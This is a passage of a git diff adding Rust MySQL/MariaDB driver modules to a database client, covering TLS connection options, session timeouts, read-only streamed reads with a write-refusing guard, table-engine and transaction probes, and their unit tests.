to one server, again and again. +/// +/// sqlx dials the route itself rather than taking a stream, so the +/// transport is asked only for where it leads: a TCP endpoint, or the +/// Unix socket an SSH forward listens on. +pub(crate) struct MysqlEndpoint { + transport: Arc, + options: MySqlConnectOptions, + tls_server_name: String, + liveness: LivenessPolicy, +} + +impl MysqlEndpoint { + pub(crate) fn new(target: &NetworkTarget, liveness: LivenessPolicy) -> Result { + let Credentials::Password { username, password } = &target.credentials else { + return Err(DriverError::Config(ConfigError::AuthModeUnsupported)); + }; + tablepro_net::tls::check_pem_files(&target.tls)?; + let mut options = MySqlConnectOptions::new() + .username(username) + .password(password.expose_secret()) + .ssl_mode(ssl_mode(target.tls.mode)) + // Each of these would send a session statement of sqlx's own + // at login, and the session must be the server's default. + .pipes_as_concat(false) + .no_engine_substitution(false) + .set_names(false) + .timezone(None::) + // No statement outlives the call that prepared it, so a pool + // connection never piles up server-side statement handles. + .statement_cache_capacity(0) + // sqlx would log every statement, values and all. + .disable_statement_logging(); + if let Some(database) = target.database.as_deref().filter(|name| !name.is_empty()) { + options = options.database(database); + } + if target.tls.mode != TlsMode::Disable { + if let Some(ca_file) = &target.tls.ca_file { + let pem = std::fs::read(ca_file).map_err(|error| ConfigError::CaFile { + path: ca_file.clone(), + problem: tablepro_core::CertificateFileProblem::Unreadable { + detail: error.to_string(), + }, + })?; + options = options.ssl_ca_from_pem(pem); + } + let identity = tablepro_net::tls::client_identity_pem(&target.tls).map_err(|error| match error { + tablepro_net::tls::TlsSetupError::Config(config) => DriverError::Config(config), + other => DriverError::Tls { + failure: tablepro_core::TlsFailure::ClientIdentityInvalid, + detail: other.to_string(), + }, + })?; + if let Some(identity) = identity { + options = options + .ssl_client_cert_from_pem(identity.certificate) + .ssl_client_key_from_pem(identity.key); + } + } + Ok(Self { + transport: target.transport.clone(), + options, + tls_server_name: target.tls_server_name().to_owned(), + liveness, + }) + } + + pub(crate) fn liveness(&self) -> &LivenessPolicy { + &self.liveness + } + + pub(crate) fn service(&self) -> &NetworkEndpoint { + self.transport.service_endpoint() + } + + /// The options for one login over the transport's route. Over a + /// socket the `host` is not dialled, so it carries the name TLS + /// verifies: the service's own, never the forward's. + fn options_for(&self, kind: SessionKind) -> MySqlConnectOptions { + let options = match self.transport.route() { + TransportRoute::Tcp(endpoint) => self.options.clone().host(endpoint.host()).port(endpoint.port()), + TransportRoute::UnixSocket(path) => self.options.clone().socket(path).host(&self.tls_server_name), + }; + match kind { + SessionKind::Workspace => options.timezone(Some(WORKSPACE_TIME_ZONE.to_owned())), + SessionKind::Editor | SessionKind::Control => options, + } + } + + /// Log in and set the session up, within the connect and login + /// timeouts. `cancel` abandons the attempt. + pub(crate) async fn connect_physical( + &self, + kind: SessionKind, + limits: &SessionLimits, + cancel: &CancellationToken, + ) -> Result { + let bound = self.liveness.connect_timeout + self.liveness.login_timeout; + let opening = tokio::time::timeout(bound, self.open(kind, limits)); + tokio::select! { + biased; + () = cancel.cancelled() => Err(DriverError::Cancelled), + opened = opening => match opened { + Ok(opened) => opened, + Err(_) => Err(DriverError::Timeout { + phase: TimeoutPhase::Login, + server_cancelled: false, + }), + }, + } + } + + async fn open(&self, kind: SessionKind, limits: &SessionLimits) -> Result { + let options = self.options_for(kind); + let mut connection = match options.connect().await { + Ok(connection) => connection, + Err(error) => return Err(self.explain(map_connect_error(&error, self.service())).await), + }; + let (connection_id, version) = identify(&mut connection, self.service()).await?; + let flavour = MySqlFlavour::detect(&version); + let mut statements = match kind { + SessionKind::Control => Vec::new(), + SessionKind::Workspace | SessionKind::Editor => for_session(flavour, limits), + }; + if kind == SessionKind::Workspace { + statements.push(WORKSPACE_SQL_MODE_STATEMENT.to_owned()); + } + if !statements.is_empty() { + connection + .execute(AssertSqlSafe(statements.join("; "))) + .await + .map_err(|error| map_error(&error, flavour))?; + } + Ok(MySqlPhysical { + connection, + connection_id, + version, + flavour, + }) + } + + /// A stream that closed may be the transport's doing, such as an SSH + /// master that exited, which says more than "connection lost". + pub(crate) async fn explain(&self, error: DriverError) -> DriverError { + if !matches!(error, DriverError::ConnectionLost { .. }) { + return error; + } + match self.transport.explain_closed_stream().await { + Some(transport) => DriverError::Transport(transport), + None => error, + } + } + + /// Log in on a connection of its own and ask one trivial question, + /// within `bound`. This is the probe that never waits for a pool. + pub(crate) async fn check(&self, bound: Duration) -> Result<(), DriverError> { + let checking = async { + let mut physical = self.open(SessionKind::Control, &no_limits()).await?; + let flavour = physical.flavour; + physical + .connection + .execute("SELECT 1") + .await + .map(|_| ()) + .map_err(|error| map_error(&error, flavour)) + }; + match tokio::time::timeout(bound, checking).await { + Ok(outcome) => outcome, + Err(_) => Err(DriverError::Timeout { + phase: TimeoutPhase::Probe, + server_cancelled: false, + }), + } + } +} + +/// The limits of a session that sets none. +pub(crate) fn no_limits() -> SessionLimits { + SessionLimits { + read_only: false, + statement_timeout: None, + lock_timeout: Duration::ZERO, + } +} + +fn ssl_mode(mode: TlsMode) -> MySqlSslMode { + match mode { + TlsMode::Disable => MySqlSslMode::Disabled, + TlsMode::Require => MySqlSslMode::Required, + TlsMode::VerifyFull => MySqlSslMode::VerifyIdentity, + } +} + +/// The connection id and version, read over the text protocol so no +/// statement is prepared before the session is set up. +async fn identify(connection: &mut MySqlConnection, endpoint: &NetworkEndpoint) -> Result<(u64, String), DriverError> { + let row = sqlx::raw_sql("SELECT CONNECTION_ID(), VERSION()") + .fetch_one(&mut *connection) + .await + .map_err(|error| map_connect_error(&error, endpoint))?; + let text = |index: usize| -> Result { + let bytes: &[u8] = row.try_get_unchecked(index).map_err(|error| DriverError::Decode { + column: index.to_string(), + detail: error.to_string(), + })?; + Ok(String::from_utf8_lossy(bytes).into_owned()) + }; + let id = text(0)?; + let connection_id = id + .trim() + .parse::() + .map_err(|_| DriverError::Protocol(format!("CONNECTION_ID() returned {id:?}")))?; + Ok((connection_id, text(1)?)) +} diff --git a/linux/crates/drivers/mysql/src/session_statements.rs b/linux/crates/drivers/mysql/src/session_statements.rs new file mode 100644 index 0000000000..b1ef8d1aaf --- /dev/null +++ b/linux/crates/drivers/mysql/src/session_statements.rs @@ -0,0 +1,137 @@ +use std::time::Duration; + +use tablepro_core::WorkspaceSettings; + +use crate::flavour::MySqlFlavour; + +/// The bounds a session runs under, set once when it opens. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) struct SessionLimits { + pub read_only: bool, + /// `None` keeps the server's own default, which is no limit. + pub statement_timeout: Option, + pub lock_timeout: Duration, +} + +impl SessionLimits { + pub(crate) fn workspace(settings: &WorkspaceSettings) -> Self { + Self { + read_only: settings.read_only, + statement_timeout: Some(settings.statement_timeout), + lock_timeout: settings.lock_timeout, + } + } +} + +/// What a new session sends before anything else. +/// +/// `SET NAMES utf8mb4` comes first and names no collation, so the server +/// picks the charset's default: MySQL's `default_collation_for_utf8mb4` +/// and MariaDB's `character_set_collations`, which is what the mysql +/// client gets too. Every number is rendered as an integer, because a +/// float a server reads in a different locale is not one. +pub(crate) fn for_session(flavour: MySqlFlavour, limits: &SessionLimits) -> Vec { + let mut statements = vec!["SET NAMES utf8mb4".to_owned()]; + if limits.read_only { + statements.push("SET SESSION TRANSACTION READ ONLY".to_owned()); + } + if let Some(timeout) = limits.statement_timeout { + statements.push(statement_timeout(flavour, Some(timeout))); + } + let lock = whole_seconds(limits.lock_timeout); + statements.push(format!("SET SESSION lock_wait_timeout = {lock}")); + statements.push(format!("SET SESSION innodb_lock_wait_timeout = {lock}")); + statements +} + +/// The session's statement bound, or the server's "no limit" for +/// `None`. MySQL bounds only read-only SELECTs, in milliseconds; MariaDB +/// bounds every statement, in seconds. +pub(crate) fn statement_timeout(flavour: MySqlFlavour, timeout: Option) -> String { + match flavour { + MySqlFlavour::MySql => format!( + "SET SESSION max_execution_time = {}", + timeout.map_or(0, |timeout| timeout.as_millis().max(1)) + ), + MySqlFlavour::MariaDb => format!("SET SESSION max_statement_time = {}", timeout.map_or(0, whole_seconds)), + } +} + +/// Seconds rounded up, at least one: the lock and MariaDB statement +/// bounds take whole seconds, and zero would lift MariaDB's. +pub(crate) fn whole_seconds(duration: Duration) -> u64 { + let rounded = duration.as_secs() + u64::from(duration.subsec_nanos() > 0); + rounded.max(1) +} + +/// The editor's row limit as the server applies it. One row past the +/// limit is asked for, so a result cut by the server is told apart from +/// one that ended exactly at the limit. +pub(crate) fn select_limit(rows: u64) -> String { + format!("SET SESSION sql_select_limit = {}", rows.saturating_add(1)) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn mysql_and_mariadb_text() { + let limits = SessionLimits { + read_only: true, + statement_timeout: Some(Duration::from_millis(1_500)), + lock_timeout: Duration::from_secs(10), + }; + + assert_eq!( + for_session(MySqlFlavour::MySql, &limits), + [ + "SET NAMES utf8mb4", + "SET SESSION TRANSACTION READ ONLY", + "SET SESSION max_execution_time = 1500", + "SET SESSION lock_wait_timeout = 10", + "SET SESSION innodb_lock_wait_timeout = 10", + ] + ); + assert_eq!( + for_session(MySqlFlavour::MariaDb, &limits), + [ + "SET NAMES utf8mb4", + "SET SESSION TRANSACTION READ ONLY", + "SET SESSION max_statement_time = 2", + "SET SESSION lock_wait_timeout = 10", + "SET SESSION innodb_lock_wait_timeout = 10", + ] + ); + + let editor = SessionLimits { + read_only: false, + statement_timeout: None, + lock_timeout: Duration::from_millis(300), + }; + let statements = for_session(MySqlFlavour::MySql, &editor); + assert_eq!(statements.first().map(String::as_str), Some("SET NAMES utf8mb4")); + assert!(!statements.iter().any(|sql| sql.contains("max_execution_time"))); + assert!(statements.contains(&"SET SESSION lock_wait_timeout = 1".to_owned())); + for sql in statements { + assert!(!sql.contains('.'), "{sql}"); + } + } + + #[test] + fn a_lifted_bound_is_the_servers_zero() { + assert_eq!( + statement_timeout(MySqlFlavour::MariaDb, None), + "SET SESSION max_statement_time = 0" + ); + assert_eq!( + statement_timeout(MySqlFlavour::MySql, Some(Duration::from_micros(10))), + "SET SESSION max_execution_time = 1" + ); + assert_eq!(select_limit(100), "SET SESSION sql_select_limit = 101"); + assert_eq!( + select_limit(u64::MAX), + "SET SESSION sql_select_limit = 18446744073709551615" + ); + } +} diff --git a/linux/crates/drivers/mysql/src/standalone.rs b/linux/crates/drivers/mysql/src/standalone.rs new file mode 100644 index 0000000000..fde0a54f42 --- /dev/null +++ b/linux/crates/drivers/mysql/src/standalone.rs @@ -0,0 +1,70 @@ +use std::sync::Arc; +use std::sync::atomic::AtomicBool; + +use sqlx::mysql::MySqlConnection; +use tablepro_core::{CallResource, DriverError, StopRequest}; +use tokio_util::sync::CancellationToken; + +use crate::cancel::{MySqlStop, interrupted}; +use crate::flavour::MySqlFlavour; +use crate::physical::{MySqlPhysical, MysqlEndpoint, SessionKind}; +use crate::session_statements::SessionLimits; + +/// A login opened for one call and closed after it, for reads that must +/// never hold a pool slot. Nothing else ever runs on it, so a KILL that +/// arrives late has nothing to hit. +pub(crate) struct Standalone { + physical: Option, + abandon: Arc, +} + +impl Standalone { + pub(crate) fn new() -> Self { + Self { + physical: None, + abandon: Arc::new(AtomicBool::new(false)), + } + } + + /// Log in inside the call, so its deadline and cancel cover the + /// login too. + pub(crate) async fn open( + &mut self, + endpoint: &MysqlEndpoint, + limits: &SessionLimits, + request: &StopRequest, + stop: &MySqlStop, + ) -> Result<(), DriverError> { + let never = CancellationToken::new(); + let physical = tokio::select! { + biased; + () = request.requested() => return Err(interrupted(request)), + opened = endpoint.connect_physical(SessionKind::Workspace, limits, &never) => opened?, + }; + stop.arm(physical.connection_id); + self.physical = Some(physical); + if request.is_requested() { + return Err(interrupted(request)); + } + Ok(()) + } + + pub(crate) fn connection(&mut self) -> Result<(&mut MySqlConnection, MySqlFlavour), DriverError> { + let physical = self + .physical + .as_mut() + .ok_or_else(|| DriverError::Protocol("the call holds no connection".to_owned()))?; + let flavour = physical.flavour; + Ok((&mut physical.connection, flavour)) + } +} + +impl CallResource for Standalone { + fn abandon_flag(&self) -> Arc { + self.abandon.clone() + } + + fn discard(mut self) { + self.physical = None; + } +} diff --git a/linux/crates/drivers/mysql/src/stream_read.rs b/linux/crates/drivers/mysql/src/stream_read.rs new file mode 100644 index 0000000000..f421b74e16 --- /dev/null +++ b/linux/crates/drivers/mysql/src/stream_read.rs @@ -0,0 +1,216 @@ +use std::sync::Arc; + +use futures_util::TryStreamExt; +use sqlx::mysql::MySqlConnection; +use sqlx::{AssertSqlSafe, Either, Executor as _, Row as _}; +use tablepro_core::column::ResultColumn; +use tablepro_core::sql_syntax::SqlGrammar; +use tablepro_core::sql_syntax::script::{LexicalSettings, ScriptPlan, ScriptTokenKind}; +use tablepro_core::{ + DriverError, ReadOnlyRefusal, ReadStatement, ResultEvent, ResultSink, SinkFlow, StreamSummary, Truncation, Value, +}; + +use crate::catalog::result_column; +use crate::decode::decode_row; +use crate::errors::map_error; +use crate::flavour::MySqlFlavour; +use crate::mysql_timestamp_mode::MySqlTimestampMode; +use crate::mysql_wire_format::MySqlWireFormat; +use crate::workspace_call::{describe, prepared}; + +const BATCH_ROWS: usize = 256; + +/// The first words a statement may start with in a streamed read. Each +/// only reads, and none ends the read-only transaction the read relies +/// on; anything else, a CALL or a COMMIT, is refused before it is sent. +const READING_STATEMENTS: [&str; 7] = ["SELECT", "WITH", "SHOW", "DESCRIBE", "DESC", "EXPLAIN", "TABLE"]; + +/// Every row of a read, into the sink, inside a read-only transaction. +/// The connection has no statement timeout: an export can take minutes, +/// and the caller's deadline and cancel still stop it. +pub(crate) async fn stream( + connection: &mut MySqlConnection, + flavour: MySqlFlavour, + read: &ReadStatement, + sink: &mut dyn ResultSink, +) -> Result { + if let ReadStatement::User(sql) = read { + refuse_writes(sql.as_str())?; + } + connection + .execute("START TRANSACTION READ ONLY") + .await + .map_err(|error| map_error(&error, flavour))?; + let mut emitter = Emitter { + sink, + batch: Vec::new(), + rows: 0, + set_rows: 0, + started: false, + }; + let streamed = match read { + ReadStatement::Generated(statement) => { + let query = prepared(statement)?; + let streamed = emitter + .rows_of(query.fetch(&mut *connection), flavour, MySqlWireFormat::Binary) + .await; + match (streamed, emitter.started) { + (Ok(()), false) => { + let columns = describe(connection, flavour, statement.sql()).await?; + emitter.start(columns.into()).await?; + emitter.finish().await + } + (Ok(()), true) => emitter.finish().await, + (Err(error), _) => Err(error), + } + } + ReadStatement::User(sql) => { + let results = connection.fetch_many(sqlx::raw_sql(AssertSqlSafe(sql.as_str().to_owned()))); + emitter.results(results, flavour).await + } + }; + let committed = connection + .execute("COMMIT") + .await + .map(|_| ()) + .map_err(|error| map_error(&error, flavour)); + streamed?; + committed?; + Ok(StreamSummary::new(emitter.rows)) +} + +/// User SQL that does anything but read is refused: a write fails in the +/// read-only transaction anyway, but a COMMIT or DDL would end it first. +pub(crate) fn refuse_writes(sql: &str) -> Result<(), DriverError> { + let plan = ScriptPlan::build(sql, SqlGrammar::MySql, LexicalSettings::default_for(SqlGrammar::MySql)); + for statement in plan.statements() { + let first = plan + .tokens(statement.range.clone()) + .find(|token| !token.kind.is_trivia()); + let reads = match first { + Some(token) if token.kind == ScriptTokenKind::OpenParen => true, + Some(token) if token.kind == ScriptTokenKind::Word => sql + .get(token.range) + .is_some_and(|word| READING_STATEMENTS.iter().any(|known| word.eq_ignore_ascii_case(known))), + _ => false, + }; + if !reads { + return Err(DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard)); + } + } + Ok(()) +} + +struct Emitter<'a> { + sink: &'a mut dyn ResultSink, + batch: Vec>, + rows: u64, + set_rows: u64, + started: bool, +} + +impl Emitter<'_> { + async fn rows_of(&mut self, rows: S, flavour: MySqlFlavour, format: MySqlWireFormat) -> Result<(), DriverError> + where + S: futures_util::Stream>, + { + let mut rows = std::pin::pin!(rows); + while let Some(row) = rows.try_next().await.map_err(|error| map_error(&error, flavour))? { + self.row(&row, format).await?; + } + Ok(()) + } + + async fn results(&mut self, results: S, flavour: MySqlFlavour) -> Result<(), DriverError> + where + S: futures_util::Stream< + Item = Result, sqlx::Error>, + >, + { + let mut results = std::pin::pin!(results); + while let Some(item) = results.try_next().await.map_err(|error| map_error(&error, flavour))? { + match item { + Either::Right(row) => self.row(&row, MySqlWireFormat::Text).await?, + Either::Left(_) if self.started => self.finish().await?, + Either::Left(_) => {} + } + } + Ok(()) + } + + async fn row(&mut self, row: &sqlx::mysql::MySqlRow, format: MySqlWireFormat) -> Result<(), DriverError> { + if !self.started { + let columns: Arc<[ResultColumn]> = row + .columns() + .iter() + .map(|column| result_column(column, MySqlTimestampMode::WorkspaceUtc)) + .collect(); + self.start(columns).await?; + } + self.batch + .push(decode_row(row, format, MySqlTimestampMode::WorkspaceUtc)); + self.rows += 1; + self.set_rows += 1; + if self.batch.len() >= BATCH_ROWS { + self.flush().await?; + } + Ok(()) + } + + async fn start(&mut self, columns: Arc<[ResultColumn]>) -> Result<(), DriverError> { + self.started = true; + self.send(ResultEvent::ResultSetStarted { columns }).await + } + + async fn flush(&mut self) -> Result<(), DriverError> { + if self.batch.is_empty() { + return Ok(()); + } + let rows = std::mem::take(&mut self.batch); + self.send(ResultEvent::Rows(rows)).await + } + + async fn finish(&mut self) -> Result<(), DriverError> { + self.flush().await?; + self.started = false; + let rows = std::mem::take(&mut self.set_rows); + self.send(ResultEvent::ResultSetFinished { + retained: rows, + total_rows: Some(rows), + truncation: Truncation::Complete, + }) + .await + } + + /// A consumer that went away ends the read: the rows would go + /// nowhere. + async fn send(&mut self, event: ResultEvent) -> Result<(), DriverError> { + match self.sink.accept(event).await { + SinkFlow::Continue => Ok(()), + SinkFlow::ConsumerGone => Err(DriverError::Cancelled), + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn user_sql_that_would_end_the_read_only_transaction_is_refused() { + assert!(refuse_writes("SELECT 1; (SELECT 2); with x AS (SELECT 1) SELECT * FROM x; SHOW TABLES").is_ok()); + for sql in [ + "COMMIT; DELETE FROM t", + "SELECT 1; ROLLBACK", + "CALL p()", + "BEGIN", + "CREATE TABLE t (a int)", + ] { + assert_eq!( + refuse_writes(sql), + Err(DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard)), + "{sql}" + ); + } + } +} diff --git a/linux/crates/drivers/mysql/src/table_engine.rs b/linux/crates/drivers/mysql/src/table_engine.rs new file mode 100644 index 0000000000..d8162a3ac5 --- /dev/null +++ b/linux/crates/drivers/mysql/src/table_engine.rs @@ -0,0 +1,92 @@ +use sqlx::mysql::MySqlConnection; +use tablepro_core::meta::TableRef; +use tablepro_core::{DriverError, WriteAtomicity}; + +use crate::flavour::MySqlFlavour; +use crate::metadata::catalog_rows; + +/// The storage engine of a table, and whether that engine can roll back. +pub(crate) const TABLE_ENGINE_SQL: &str = "\ +SELECT t.ENGINE, e.TRANSACTIONS +FROM information_schema.TABLES t +LEFT JOIN information_schema.ENGINES e ON e.ENGINE = t.ENGINE +WHERE t.TABLE_SCHEMA = COALESCE(?, DATABASE()) AND t.TABLE_NAME = ?"; + +/// What a table's engine can promise a write. +#[derive(Debug, Clone, PartialEq, Eq, Default)] +pub(crate) struct TableEngine { + /// `None` for a view, or a table that is not there. + pub engine: Option, + pub transactions: Option, +} + +impl TableEngine { + /// Only an engine that says YES rolls back. MyISAM, MEMORY, ARCHIVE, + /// CSV, MariaDB's Aria, and a view (no engine at all) write each + /// statement as it runs. + pub(crate) fn atomicity(&self) -> WriteAtomicity { + match self.transactions.as_deref() { + Some(answer) if answer.eq_ignore_ascii_case("YES") => WriteAtomicity::Transactional, + _ => WriteAtomicity::StatementByStatement, + } + } + + pub(crate) fn is_ndb(&self) -> bool { + self.engine + .as_deref() + .is_some_and(|engine| engine.eq_ignore_ascii_case("ndbcluster")) + } +} + +pub(crate) async fn lookup( + connection: &mut MySqlConnection, + flavour: MySqlFlavour, + table: &TableRef, +) -> Result { + let rows = catalog_rows( + connection, + flavour, + TABLE_ENGINE_SQL, + "TABLES", + &[table.schema.as_deref(), Some(table.name.as_str())], + ) + .await?; + let Some(row) = rows.first() else { + return Ok(TableEngine::default()); + }; + Ok(TableEngine { + engine: row.text(0)?, + transactions: row.text(1)?, + }) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn engine(transactions: Option<&str>) -> TableEngine { + TableEngine { + engine: Some("Engine".to_owned()), + transactions: transactions.map(str::to_owned), + } + } + + #[test] + fn transactions_column_mapping() { + assert_eq!(engine(Some("YES")).atomicity(), WriteAtomicity::Transactional); + assert_eq!(engine(Some("NO")).atomicity(), WriteAtomicity::StatementByStatement); + assert_eq!(engine(None).atomicity(), WriteAtomicity::StatementByStatement); + assert_eq!( + TableEngine::default().atomicity(), + WriteAtomicity::StatementByStatement, + "a view has no engine of its own" + ); + assert!( + TableEngine { + engine: Some("ndbcluster".to_owned()), + transactions: Some("YES".to_owned()) + } + .is_ndb() + ); + } +} diff --git a/linux/crates/drivers/mysql/src/transaction_probe.rs b/linux/crates/drivers/mysql/src/transaction_probe.rs new file mode 100644 index 0000000000..68a2d6ca09 --- /dev/null +++ b/linux/crates/drivers/mysql/src/transaction_probe.rs @@ -0,0 +1,85 @@ +use std::sync::atomic::{AtomicBool, Ordering}; + +use sqlx::Executor as _; +use sqlx::mysql::MySqlConnection; +use tablepro_core::{TransactionState, Value}; + +use crate::decode::decode_row; +use crate::errors::{map_error, server_number}; +use crate::flavour::MySqlFlavour; +use crate::mysql_timestamp_mode::MySqlTimestampMode; +use crate::mysql_wire_format::MySqlWireFormat; + +/// MariaDB keeps the answer in a session variable. +const MARIADB_SQL: &str = "SELECT @@in_transaction"; + +/// MySQL has no such variable; performance_schema's current +/// transaction event for this thread says whether one is open. +const MYSQL_SQL: &str = "SELECT COUNT(*) FROM performance_schema.events_transactions_current \ + WHERE THREAD_ID = PS_CURRENT_THREAD_ID() AND STATE = 'ACTIVE'"; + +/// ER_TABLEACCESS_DENIED_ERROR, ER_NO_SUCH_TABLE and ER_SP_DOES_NOT_EXIST: +/// the login cannot read performance_schema, it is off, or the server is +/// older than PS_CURRENT_THREAD_ID (8.0.16). +const UNAVAILABLE: [u16; 3] = [1142, 1146, 1305]; + +/// Asks an editor session's server whether a transaction is open. +#[derive(Debug)] +pub(crate) struct TransactionProbe { + flavour: MySqlFlavour, + /// Set once the server said the question cannot be asked, so a login + /// without access is not refused again after every run. + unavailable: AtomicBool, +} + +impl TransactionProbe { + pub(crate) fn new(flavour: MySqlFlavour) -> Self { + Self { + flavour, + unavailable: AtomicBool::new(false), + } + } + + pub(crate) async fn state(&self, connection: &mut MySqlConnection) -> TransactionState { + if self.unavailable.load(Ordering::SeqCst) { + return TransactionState::Unknown; + } + let sql = match self.flavour { + MySqlFlavour::MySql => MYSQL_SQL, + MySqlFlavour::MariaDb => MARIADB_SQL, + }; + let row = match connection.fetch_one(sqlx::raw_sql(sql)).await { + Ok(row) => row, + Err(error) => { + let mapped = map_error(&error, self.flavour); + if server_number(&mapped).is_some_and(|number| UNAVAILABLE.contains(&number)) { + self.unavailable.store(true, Ordering::SeqCst); + } + return TransactionState::Unknown; + } + }; + let values = decode_row(&row, MySqlWireFormat::Text, MySqlTimestampMode::SessionLocal); + state_of(values.first()) + } +} + +fn state_of(value: Option<&Value>) -> TransactionState { + match value.and_then(Value::as_exact_u64) { + Some(0) => TransactionState::Idle, + Some(_) => TransactionState::InTransaction, + None => TransactionState::Unknown, + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn a_count_or_flag_reads_as_the_state() { + assert_eq!(state_of(Some(&Value::Int(0))), TransactionState::Idle); + assert_eq!(state_of(Some(&Value::Int(1))), TransactionState::InTransaction); + assert_eq!(state_of(Some(&Value::Null)), TransactionState::Unknown); + assert_eq!(state_of(None), TransactionState::Unknown); + } +} diff --git a/linux/crates/drivers/mysql/src/workspace_call.rs b/linux/crates/drivers/mysql/src/workspace_call.rs new file mode 100644 index 0000000000..a798af81d6 --- /dev/null +++ b/linux/crates/drivers/mysql/src/workspace_call.rs @@ -0,0 +1,124 @@ +use futures_util::TryStreamExt; +use futures_util::future::BoxFuture; +use sqlx::mysql::MySqlConnection; +use sqlx::{AssertSqlSafe, Executor as _, Row as _, SqlSafeStr as _, Statement as _}; +use tablepro_core::column::ResultColumn; +use tablepro_core::statement::Statement; +use tablepro_core::{DriverError, QueryResult, RowLimit}; + +use crate::catalog::result_column; +use crate::decode::decode_row; +use crate::encode::{MySqlQuery, bind_all}; +use crate::errors::map_error; +use crate::flavour::MySqlFlavour; +use crate::mysql_timestamp_mode::MySqlTimestampMode; +use crate::mysql_wire_format::MySqlWireFormat; + +/// What one workspace call does once it holds a connection. +pub(crate) type ReadOp = + Box FnOnce(&'c mut MySqlConnection, MySqlFlavour) -> BoxFuture<'c, Result> + Send>; + +pub(crate) fn read_op(op: F) -> ReadOp +where + F: for<'c> FnOnce(&'c mut MySqlConnection, MySqlFlavour) -> BoxFuture<'c, Result> + Send + 'static, +{ + Box::new(op) +} + +/// A generated statement as a prepared statement, never cached: it is +/// closed on the server as soon as it has run. +pub(crate) fn prepared(statement: &Statement) -> Result, DriverError> { + bind_all( + sqlx::query(AssertSqlSafe(statement.sql().to_owned())).persistent(false), + statement.params(), + ) +} + +/// Read at most `limit` rows, and one more to learn whether the result +/// was cut short. The rest of the result stays unread on the wire and +/// sqlx drains it before the connection's next command. +pub(crate) fn query_bound_op(statement: Statement, limit: RowLimit) -> ReadOp { + read_op(move |connection, flavour| { + Box::pin(async move { query_bound(connection, flavour, &statement, limit).await }) + }) +} + +pub(crate) async fn query_bound( + connection: &mut MySqlConnection, + flavour: MySqlFlavour, + statement: &Statement, + limit: RowLimit, +) -> Result { + let query = prepared(statement)?; + let mut columns = None; + let mut rows = Vec::new(); + let mut truncated = false; + { + let mut stream = query.fetch(&mut *connection); + while let Some(row) = stream.try_next().await.map_err(|error| map_error(&error, flavour))? { + if u64::try_from(rows.len()).is_ok_and(|kept| kept >= limit.get()) { + truncated = true; + break; + } + if columns.is_none() { + columns = Some( + row.columns() + .iter() + .map(|column| result_column(column, MySqlTimestampMode::WorkspaceUtc)) + .collect::>(), + ); + } + rows.push(decode_row( + &row, + MySqlWireFormat::Binary, + MySqlTimestampMode::WorkspaceUtc, + )); + } + } + let columns = match columns { + Some(columns) => columns, + None => describe(connection, flavour, statement.sql()).await?, + }; + Ok(QueryResult::new(columns, rows).truncated(truncated)) +} + +/// The columns of a statement that returned no rows: the prepare +/// carries them, and with no cache the statement is closed right after. +pub(crate) async fn describe( + connection: &mut MySqlConnection, + flavour: MySqlFlavour, + sql: &str, +) -> Result, DriverError> { + let prepared = (&mut *connection) + .prepare(AssertSqlSafe(sql.to_owned()).into_sql_str()) + .await + .map_err(|error| map_error(&error, flavour))?; + Ok(prepared + .columns() + .iter() + .map(|column| result_column(column, MySqlTimestampMode::WorkspaceUtc)) + .collect()) +} + +pub(crate) fn count_op(statement: Statement) -> ReadOp { + read_op(move |connection, flavour| Box::pin(async move { count(connection, flavour, &statement).await })) +} + +pub(crate) async fn count( + connection: &mut MySqlConnection, + flavour: MySqlFlavour, + statement: &Statement, +) -> Result { + let row = prepared(statement)? + .fetch_optional(&mut *connection) + .await + .map_err(|error| map_error(&error, flavour))? + .ok_or_else(|| DriverError::Protocol("the count returned no row".to_owned()))?; + let values = decode_row(&row, MySqlWireFormat::Binary, MySqlTimestampMode::WorkspaceUtc); + let value = values + .first() + .ok_or_else(|| DriverError::Protocol("the count returned no column".to_owned()))?; + value + .as_exact_u64() + .ok_or_else(|| DriverError::Protocol(format!("the count returned {value:?}"))) +} diff --git a/linux/crates/drivers/mysql/src/workspace_session.rs b/linux/crates/drivers/mysql/src/workspace_session.rs new file mode 100644 index 0000000000..48815d0c63 --- /dev/null +++ b/linux/crates/drivers/mysql/src/workspace_session.rs @@ -0,0 +1,28 @@ +/// Run on every workspace connection right after it opens, and never on +/// an editor session. +/// +/// With NO_BACKSLASH_ESCAPES set globally, a backslash in a string +/// literal would mean itself on some servers and an escape on others. +/// The DDL the app generates writes some literals that have no hex form +/// (`COMMENT '...'`), so the workspace pins the one reading those +/// literals were written for. sqlx sends no sql_mode of its own when +/// `pipes_as_concat` and `no_engine_substitution` are off, so this and +/// the time zone are the only session changes on top of the user's. +pub(crate) const WORKSPACE_SQL_MODE_STATEMENT: &str = "SET SESSION sql_mode = TRIM(BOTH ',' FROM \ + REPLACE(CONCAT(',', @@SESSION.sql_mode, ','), ',NO_BACKSLASH_ESCAPES,', ','))"; + +/// The zone workspace connections read TIMESTAMP in, so a value is the +/// instant it names whatever zone the server or the user is in. +pub(crate) const WORKSPACE_TIME_ZONE: &str = "+00:00"; + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn the_statement_removes_only_the_backslash_mode() { + assert!(WORKSPACE_SQL_MODE_STATEMENT.starts_with("SET SESSION sql_mode = ")); + assert!(WORKSPACE_SQL_MODE_STATEMENT.contains("',NO_BACKSLASH_ESCAPES,'")); + assert!(!WORKSPACE_SQL_MODE_STATEMENT.contains("PIPES_AS_CONCAT")); + } +} diff --git a/linux/crates/drivers/mysql/src/write_batch.rs b/linux/crates/drivers/mysql/src/write_batch.rs new file mode 100644 index 0000000000..ff7cbc4e48 --- /dev/null +++ b/linux/crates/drivers/mysql/src/write_batch.rs @@ -0,0 +1,400 @@ +//! A save, written the way the table's storage engine can take it. +//! +//! InnoDB rolls back, so its row changes run in one transaction. MyISAM, +//! MEMORY, Aria and the rest apply each statement as it runs, so their +//! row changes and every schema change run statement by statement, with +//! the ledger recording how far they got. + +use std::sync::Arc; + +use sqlx::mysql::MySqlConnection; +use sqlx::{AssertSqlSafe, Executor as _}; +use tablepro_core::statement::{GuardedStatement, RowGuard, Statement}; +use tablepro_core::{ + DriverError, ReadOnlyRefusal, 